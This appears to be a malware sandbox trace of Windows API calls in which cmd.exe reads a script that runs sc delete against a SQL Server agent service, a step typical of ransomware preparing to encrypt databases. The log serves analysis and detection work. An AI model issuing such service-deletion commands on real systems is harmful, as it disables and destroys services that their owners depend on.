WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0071.848] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.848] CloseHandle (hObject=0x50) returned 1 [0071.848] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.848] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.848] GetProcessHeap () returned 0x4a0000 [0071.848] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0071.848] GetEnvironmentStringsW () returned 0x4c1b10* [0071.848] GetProcessHeap () returned 0x4a0000 [0071.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0071.849] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.849] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.849] GetProcessHeap () returned 0x4a0000 [0071.849] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.849] GetEnvironmentStringsW () returned 0x4bba70* [0071.849] GetProcessHeap () returned 0x4a0000 [0071.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0071.849] FreeEnvironmentStringsW (penv=0x4bba70) returned 1 [0071.849] GetProcessHeap () returned 0x4a0000 [0071.849] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.849] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.849] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.850] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.850] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.850] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.850] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.850] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.850] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.850] GetConsoleOutputCP () returned 0x1b5 [0071.850] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.851] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc590 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.851] GetProcessHeap () returned 0x4a0000 [0071.851] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.851] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.851] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.852] GetFileType (hFile=0x120) returned 0x3 [0071.852] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.852] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.852] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.852] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.852] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.852] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.852] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.852] GetFileType (hFile=0x120) returned 0x3 [0071.852] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.852] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.852] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.852] GetFileType (hFile=0xb8) returned 0x3 [0071.852] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.852] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.853] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.853] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.853] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.853] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.853] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.853] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.853] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.853] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.853] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.853] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.853] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.853] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.853] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.853] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.854] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.854] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.854] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.854] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.854] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.854] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.854] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.854] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.854] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.854] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.854] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.854] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.854] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.854] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.854] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.855] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.855] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.855] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.855] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.855] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MQLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.855] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.855] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.855] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SLAgent$WOLTERSKLUWER\"\n") returned 1 [0071.855] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.855] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.855] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="SAgent$WOLTERSKLUWER\"\n") returned 1 [0071.855] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.855] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.855] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Qgent$WOLTERSKLUWER\"\n") returned 1 [0071.855] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.856] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.856] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Lent$WOLTERSKLUWER\"\n") returned 1 [0071.856] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.856] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.856] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="Fnt$WOLTERSKLUWER\"\n") returned 1 [0071.856] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.856] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.856] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Dt$WOLTERSKLUWER\"\n") returned 1 [0071.856] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.856] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.856] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="L$WOLTERSKLUWER\"\n") returned 1 [0071.856] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.856] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.856] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="aWOLTERSKLUWER\"\n") returned 1 [0071.857] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.857] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.857] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="uOLTERSKLUWER\"\n") returned 1 [0071.857] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.857] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.857] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="nLTERSKLUWER\"\n") returned 1 [0071.857] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.857] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.857] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="cTERSKLUWER\"\n") returned 1 [0071.857] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.857] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.857] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="hERSKLUWER\"\n") returned 1 [0071.857] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.857] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.857] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="eRSKLUWER\"\n") returned 1 [0071.858] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.858] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.858] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="rSKLUWER\"\n") returned 1 [0071.858] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.858] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.858] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="$KLUWER\"\n") returned 1 [0071.858] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.858] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.858] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: 